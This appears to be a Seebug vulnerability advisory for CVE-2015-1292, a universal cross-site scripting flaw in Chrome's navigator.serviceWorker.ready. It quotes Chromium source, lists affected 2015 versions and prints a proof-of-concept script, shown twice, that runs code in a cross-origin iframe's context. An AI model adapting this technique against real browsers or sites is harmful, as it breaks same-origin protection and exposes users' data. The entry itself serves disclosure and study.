Chrome Universal XSS using navigator.serviceWorker.ready (CVE-2015-1292)

2017-04-24T00:00:00
ID SSV:93034
Type seebug
Reporter Root
Modified 2017-04-24T00:00:00

Description

VULNERABILITY DETAILS

From /WebKit/Source/modules/serviceworkers/ServiceWorkerContainer.cpp:

``` ScriptPromise ServiceWorkerContainer::ready(ScriptState* callerState) { if (!executionContext()) return ScriptPromise(); (...) if (!m_ready) { m_ready = createReadyProperty(); if (m_provider) m_provider->getRegistrationForReady(new GetRegistrationForReadyCallback(m_ready.get())); }

return m_ready->promise(callerState->world());

} ```

|m_ready| inherits the execution context of the serviceWorkerContainer, and that's the context associated with the navigator's frame when the container is created in NavigatorServiceWorker::serviceWorker. The navigator object can be recreated with the frame holding a cross-origin window, so the promise object created in the |m_ready->promise(callerState->world())| call may end up using a wrong creation context.

VERSION

Chrome 44.0.2403.155 (Stable)
Chrome 45.0.2454.46 (Beta)
Chrome 46.0.2486.0 (Dev)
Chromium 46.0.2488.0 (Release build compiled today)

REPRODUCTION CASE

<script> var i = document.documentElement.appendChild(document.createElement('iframe')); var f = frames[0].Function; i.onload = function() { f('return navigator')().serviceWorker.ready.constructor.constructor('alert(location)')(); } i.src = 'https://abc.xyz'; </script>

                                        
                                            
                                                <script>
var i = document.documentElement.appendChild(document.createElement('iframe'));
var f = frames[0].Function;
i.onload = function() {
  f('return navigator')().serviceWorker.ready.constructor.constructor('alert(location)')();
}
i.src = 'https://abc.xyz';
</script>